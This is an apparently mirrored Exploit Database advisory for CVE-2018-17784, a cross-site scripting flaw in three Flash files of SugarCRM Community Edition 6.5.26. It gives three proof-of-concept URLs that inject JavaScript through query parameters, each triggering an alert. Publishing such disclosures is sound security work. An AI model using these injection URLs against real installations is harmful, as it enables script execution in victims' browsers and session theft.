SugarCRM 6.5.26 – Cross-Site Scripting

• Exploit Database
• 14 阅读

• 作者： Purplemet Security
  日期： 2018-10-12
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/45594/

• # Exploit Title: SugarCRM 6.5.26 - Cross-Site Scripting
  # Date: 2018-09-29
  # Exploit Author: Purplemet Security
  # Author Website: https://www.purplemet.com/
  # Vendor Homepage: https://www.sugarcrm.com/
  # Software Link: https://sourceforge.net/projects/sugarcrm/
  # Version: 6.5.26
  # Tested on: Ubuntu 16.04
  # CVE : CVE-2018-17784
  
  # Description
  # A vulnerability in uploader.swf, io.swf and flashcanvas.swf in SugarCRM Community Edition 6.5.26 
  # could allow an unauthenticated, remote attacker to conduct a cross-site scripting 
  # (XSS) attack on a targeted system.
  # SugarCRM Community Edition 6.5 had reached its end-of-life and is no longer supported. 
  # 6.5.26 is the last version and no patches will be provided by the vendor.
  
  # PoC:
  # 1) 
  http://192.168.13.37/sugarcrm/include/javascript/yui/build/uploader/assets/uploader.swf?allowedDomain=\%22})))}catch(e){alert%20(/XSS/);}
  
  # 2) 
  http://192.168.13.37/sugarcrm/include/javascript/yui3/build/io/io.swf?yid=\%22));}catch(e){alert('XSS');}
  
  # 3) 
  http://192.168.13.37/sugarcrm/include/SugarCharts/Jit/FlashCanvas/flashcanvas.swf?id=12345678\%22));}catch(e){alert(%27XSS%27)}